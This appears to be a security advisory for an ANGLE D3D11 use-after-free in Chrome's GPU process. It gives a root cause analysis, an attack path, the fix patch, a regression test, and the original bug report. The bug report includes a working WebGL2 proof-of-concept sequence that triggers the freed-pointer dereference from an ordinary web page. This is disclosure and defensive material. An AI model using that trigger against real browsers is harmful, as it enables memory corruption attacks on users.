CVE-2026-87512
Overview
Background
- ANGLE
- Google’s translation layer that implements OpenGL ES on top of native GPU APIs such as Direct3D 11, used as Chrome’s GPU-process WebGL backend.
- `gl::ImageIndex`
- A value identifying a specific texture image (mip
level, layer, and layer count) targeted by a texture operation. - `mAssociatedImages`
- A map in
TextureStorage11_2DArraykeyed byLevelLayerRangeKeythat records whichImageD3Dobjects point back into a given texture storage so they can be disassociated when the storage is freed. - Off-chain mip level
- A mip level (e.g. level 10) specified independently of level 0’s derived mip chain, so it can exist outside the range
[0, getLevelCount())of the completed storage.
Root Cause Analysis
When redefining a 2D array texture, TextureD3D committed image data into texture storage and recorded image-to-storage back-references in mAssociatedImages, but guarded these operations only with isImageComplete(index) rather than first checking that the index actually falls within the allocated storage via isValidIndex(index). An “off-chain” mip level such as level 10 could pass isImageComplete while lying outside the completed storage’s getLevelCount() range, so TextureStorage11_2DArray::associateImage wrote its entry into mAssociatedImages under a level < getLevelCount() guard that silently dropped the association for the out-of-range level. Because the association was never recorded, when the storage was later released (by redefining level 0 with new dimensions) the off-chain image’s back-pointer into that storage was never cleared, leaving a dangling pointer that was dereferenced on the next redefinition of the off-chain level.
The fix adds an explicit isValidIndex(index) precondition to shouldUseSetData, commitRegion, and setImageImpl so out-of-range indices never touch storage, and widens the bookkeeping guard in associateImage to gl::IMPLEMENTATION_MAX_TEXTURE_LEVELS so every associated image is tracked and thus properly disassociated when storage is freed.
isValidIndex(index) before any storage commit and by tracking associations for all representable levels so no back-pointer is left dangling on storage release.Attack Path
- Create an off-chain level
Allocate a 2D array texture at level 0, then specify an independent out-of-range level (e.g. level 10) via
glTexImage3D, and populate it withglTexSubImage3Dto create a staging image. - Force complete storage Sample or draw with the texture so ANGLE allocates completed texture storage sized to level 0’s mip chain, which does not include the off-chain level.
- Record a dangling association
Writing again to the off-chain level associates its
ImageD3Dwith the storage, but thelevel < getLevelCount()guard drops the entry, so the back-pointer is never registered for cleanup. - Release the storage Redefine level 0 with new dimensions, freeing the old texture storage while the off-chain image still points into it.
- Trigger the use-after-free Redefine or write the off-chain level again, dereferencing the stale storage pointer and reading or writing freed memory in the GPU process.
Impact Assessment
Files Changed
src/tests/gl_tests/TextureTest.cppsrc/libANGLE/renderer/d3d/d3d11/TextureStorage11.cppsrc/libANGLE/renderer/d3d/TextureD3D.cpp
Audit Directions
- Completeness vs. validity conflationAudit texture and buffer paths that gate storage commits on an
isImageComplete/“ready” style check without a separate bounds/isValidIndexcheck, since a resource can be complete yet still index outside the current backing allocation. - Asymmetric association bookkeepingFlag any place where a back-pointer is registered under a narrower bound (e.g.
getLevelCount()) than the range over which that pointer can later be dereferenced or cleared, because dropped registrations become dangling pointers at release time. - Off-chain / out-of-range mip and layer handlingReview redefinition and
glTexImage/glTexSubImageflows for levels or layers specified outside a completed mip chain, which are a recurring source of storage-lifetime mismatches in the D3D11 backend.
Patch
From a871bdb05932b9bbaf511e531a8497cf1a6e1865 Mon Sep 17 00:00:00 2001 From: wangra <[email protected]> Date: Sat, 15 Aug 2026 07:56:49 -0400 Subject: [PATCH] D3D11: Fix use-after-free when redefining 2D array mip levels Validate image index bounds before committing texture storage regions and track all associated images in TextureStorage11_2DArray to prevent dangling pointers upon storage release. Test: angle_end2end_tests --gtest_filter="*RedefineOffChainMipLevelAfterStorageRelease*" Bug: b/541715128 Change-Id: I35bcce19336025db1d7921baced563b165dcf045 Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8263907 Reviewed-by: Yuxin Hu <[email protected]> Reviewed-by: Geoff Lang <[email protected]> Commit-Queue: Ran Wang <[email protected]> --- diff --git a/src/libANGLE/renderer/d3d/TextureD3D.cpp b/src/libANGLE/renderer/d3d/TextureD3D.cpp index 53dd6a8..ffc3a84 100644 --- a/src/libANGLE/renderer/d3d/TextureD3D.cpp +++ b/src/libANGLE/renderer/d3d/TextureD3D.cpp @@ -283,7 +283,7 @@ bool TextureD3D::shouldUseSetData(const gl::ImageIndex &index, const ImageD3D *image) const { - if (!isImageComplete(index)) + if (!isValidIndex(index) || !isImageComplete(index)) { return false; } @@ -730,9 +730,8 @@ const gl::ImageIndex &index, const gl::Box ®ion) { - if (mTexStorage && isImageComplete(index)) + if (isValidIndex(index) && isImageComplete(index)) { - ASSERT(isValidIndex(index)); ImageD3D *image = getImage(index); ANGLE_TRY(image->copyToStorage(context, mTexStorage, index, region)); image->markClean(); @@ -958,7 +957,7 @@ // Slow path: non-renderable texture, incomplete level, or texture storage doesn't exist. ANGLE_TRY(image->initializeContents(context)); - if (mTexStorage && isImageComplete(index)) + if (isValidIndex(index) && isImageComplete(index)) { gl::Box fullImageArea(0, 0, 0, image->getWidth(), image->getHeight(), image->getDepth()); ANGLE_TRY(commitRegion(context, index, fullImageArea)); diff --git a/src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp b/src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp index 8b86f1c..eea8b27 100644 --- a/src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp +++ b/src/libANGLE/renderer/d3d/d3d11/TextureStorage11.cpp @@ -2841,9 +2841,9 @@ const GLint layerTarget = index.getLayerIndex(); const GLint numLayers = index.getLayerCount(); - ASSERT(0 <= level && level < getLevelCount()); + ASSERT(0 <= level && level < gl::IMPLEMENTATION_MAX_TEXTURE_LEVELS); - if (0 <= level && level < getLevelCount()) + if (0 <= level && level < gl::IMPLEMENTATION_MAX_TEXTURE_LEVELS) { LevelLayerRangeKey key(level, layerTarget, numLayers); mAssociatedImages[key] = image; diff --git a/src/tests/gl_tests/TextureTest.cpp b/src/tests/gl_tests/TextureTest.cpp index 70ae2ba..3e6bc69 100644 --- a/src/tests/gl_tests/TextureTest.cpp +++ b/src/tests/gl_tests/TextureTest.cpp @@ -9112,6 +9112,60 @@ EXPECT_PIXEL_COLOR_EQ(px, py, GLColor::green); } +// Test that redefining an out-of-range mip level after texture storage is released does not cause a +// use-after-free. +TEST_P(Texture2DArrayTestES3, RedefineOffChainMipLevelAfterStorageRelease) +{ + GLTexture tex; + glBindTexture(GL_TEXTURE_2D_ARRAY, tex); + glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MIN_FILTER, GL_NEAREST); + glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MAG_FILTER, GL_NEAREST); + + // Level 0 = 64x64x1 (complete storage would have 7 mip levels: 0..6) + glTexImage3D(GL_TEXTURE_2D_ARRAY, 0, GL_RGBA8, 64, 64, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, + nullptr); + + // Specify off-chain level 10 (independent of level 0 mip chain) + glTexImage3D(GL_TEXTURE_2D_ARRAY, 10, GL_RGBA8, 4, 4, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + + // Write data to level 10 before storage exists to create a staging texture + std::vector<GLColor> px(4 * 4, GLColor::red); + glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 4, 4, 1, GL_RGBA, GL_UNSIGNED_BYTE, + px.data()); + + // Sample the texture to force complete storage allocation (with 7 levels) + glUseProgram(mProgram); + glUniform1i(mTextureArraySliceUniformLocation, 0); + drawQuad(mProgram, "position", 0.5f); + glFinish(); + + // Write to level 10 again (should not associate with 7-level storage or result in dangling + // pointers) + glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 4, 4, 1, GL_RGBA, GL_UNSIGNED_BYTE, + px.data()); + + // Free the storage by redefining level 0 with new dimensions + glTexImage3D(GL_TEXTURE_2D_ARRAY, 0, GL_RGBA8, 128, 128, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, + nullptr); + + // Redefining level 10 should not cause UAF / crash + glTexImage3D(GL_TEXTURE_2D_ARRAY, 10, GL_RGBA8, 8, 8, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); + EXPECT_GL_NO_ERROR(); + + // Also verify writing subimage to level 10 works without error + std::vector<GLColor> px8(8 * 8, GLColor::blue); + glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 8, 8, 1, GL_RGBA, GL_UNSIGNED_BYTE, + px8.data()); + EXPECT_GL_NO_ERROR(); + + // Verify drawing with level 10 samples the correct color + glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_BASE_LEVEL, 10); + glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MAX_LEVEL, 10); + drawQuad(mProgram, "position", 0.5f); + EXPECT_GL_NO_ERROR(); + EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::blue); +} + // Verify that redefining a 2D array level's layer count to 1 and then respecifying the image // doesn't cause an out-of-bounds write during the self-copy. TEST_P(Texture2DArrayTestES3, RedefineLayerCountTo1AndRespecify)
Regression Test / PoC
diff --git a/src/tests/gl_tests/TextureTest.cpp b/src/tests/gl_tests/TextureTest.cpp
index 70ae2ba..3e6bc69 100644
--- a/src/tests/gl_tests/TextureTest.cpp
+++ b/src/tests/gl_tests/TextureTest.cpp
@@ -9112,6 +9112,60 @@
EXPECT_PIXEL_COLOR_EQ(px, py, GLColor::green);
}
+// Test that redefining an out-of-range mip level after texture storage is released does not cause a
+// use-after-free.
+TEST_P(Texture2DArrayTestES3, RedefineOffChainMipLevelAfterStorageRelease)
+{
+ GLTexture tex;
+ glBindTexture(GL_TEXTURE_2D_ARRAY, tex);
+ glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
+ glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
+
+ // Level 0 = 64x64x1 (complete storage would have 7 mip levels: 0..6)
+ glTexImage3D(GL_TEXTURE_2D_ARRAY, 0, GL_RGBA8, 64, 64, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+ nullptr);
+
+ // Specify off-chain level 10 (independent of level 0 mip chain)
+ glTexImage3D(GL_TEXTURE_2D_ARRAY, 10, GL_RGBA8, 4, 4, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+
+ // Write data to level 10 before storage exists to create a staging texture
+ std::vector<GLColor> px(4 * 4, GLColor::red);
+ glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 4, 4, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+ px.data());
+
+ // Sample the texture to force complete storage allocation (with 7 levels)
+ glUseProgram(mProgram);
+ glUniform1i(mTextureArraySliceUniformLocation, 0);
+ drawQuad(mProgram, "position", 0.5f);
+ glFinish();
+
+ // Write to level 10 again (should not associate with 7-level storage or result in dangling
+ // pointers)
+ glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 4, 4, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+ px.data());
+
+ // Free the storage by redefining level 0 with new dimensions
+ glTexImage3D(GL_TEXTURE_2D_ARRAY, 0, GL_RGBA8, 128, 128, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE,
+ nullptr);
+
+ // Redefining level 10 should not cause UAF / crash
+ glTexImage3D(GL_TEXTURE_2D_ARRAY, 10, GL_RGBA8, 8, 8, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);
+ EXPECT_GL_NO_ERROR();
+
+ // Also verify writing subimage to level 10 works without error
+ std::vector<GLColor> px8(8 * 8, GLColor::blue);
+ glTexSubImage3D(GL_TEXTURE_2D_ARRAY, 10, 0, 0, 0, 8, 8, 1, GL_RGBA, GL_UNSIGNED_BYTE,
+ px8.data());
+ EXPECT_GL_NO_ERROR();
+
+ // Verify drawing with level 10 samples the correct color
+ glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_BASE_LEVEL, 10);
+ glTexParameteri(GL_TEXTURE_2D_ARRAY, GL_TEXTURE_MAX_LEVEL, 10);
+ drawQuad(mProgram, "position", 0.5f);
+ EXPECT_GL_NO_ERROR();
+ EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::blue);
+}
+
// Verify that redefining a 2D array level's layer count to 1 and then respecifying the image
// doesn't cause an out-of-bounds write during the self-copy.
TEST_P(Texture2DArrayTestES3, RedefineLayerCountTo1AndRespecify)
Original Bug Report
ANGLE D3D11: use-after-free in GPU process from WebGL2 TEXTURE_2D_ARRAY texImage3D
Report description
ANGLE D3D11: use-after-free in GPU process from WebGL2 TEXTURE_2D_ARRAY texImage3D
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
A short WebGL2 sequence makes ANGLE’s D3D11 backend free a TextureStorage11_2DArray
while an Image11 still holds a pointer to it, then dispatch a virtual call through
that pointer in the GPU process.
Environment
| Build | prebuilt ASAN Chrome, chromium-browser-asan/win32-release_x64-media/…-1671634 |
| OS | Windows 11 |
| GPU | NVIDIA GeForce RTX 4080 |
GL_RENDERER |
ANGLE (NVIDIA, NVIDIA GeForce RTX 4080 (0x00002704) Direct3D11 vs_5_0 ps_5_0, D3D11) |
Command line — no GPU, ANGLE, sandbox or feature flags:
chrome.exe --user-data-dir=<tmp> --no-first-run --no-default-browser-check --enable-logging --v=1 <poc.html>
The ASAN report lands in <tmp>\chrome_debug.log. Reproduces on the first iteration;
the attached PoC runs the sequence once, with no heap grooming or allocation pressure.
Reproduction
Attached poc_tex2darray_uaf.html.
const T = gl.TEXTURE_2D_ARRAY;
gl.bindTexture(T, t);
gl.texParameteri(T, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(T, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
const px = new Uint8Array(4*4*4).fill(0x41);
gl.texImage3D(T, 0, gl.RGBA8, 64,64,1, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); // 1
gl.texImage3D(T, 10, gl.RGBA8, 4,4,1, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); // 2
gl.texSubImage3D(T, 10, 0,0,0, 4,4,1, gl.RGBA, gl.UNSIGNED_BYTE, px); // 3
sample(t); gl.finish(); // 4
gl.texSubImage3D(T, 10, 0,0,0, 4,4,1, gl.RGBA, gl.UNSIGNED_BYTE, px); // 5
gl.texImage3D(T, 0, gl.RGBA8, 128,128,1, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); // 6
gl.texImage3D(T, 10, gl.RGBA8, 8,8,1, 0, gl.RGBA, gl.UNSIGNED_BYTE, null); // 7 <-- crash
Impact analysis
Use-after-free in the GPU process, reachable from ordinary web content: a normal page
running WebGL2, with no flags, no extensions, no field-trial changes, and no renderer
compromise. The freed object is a 3216-byte rx::TextureStorage11_2DArray allocated by
ANGLE in the GPU process; the observed use is a read at offset 0 of the freed region
(the vtable pointer) followed by a virtual dispatch.
The cause
What version of Chrome have you found the security issue in?
153.0.7983.0 (Developer Build) (64-bit)
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed process)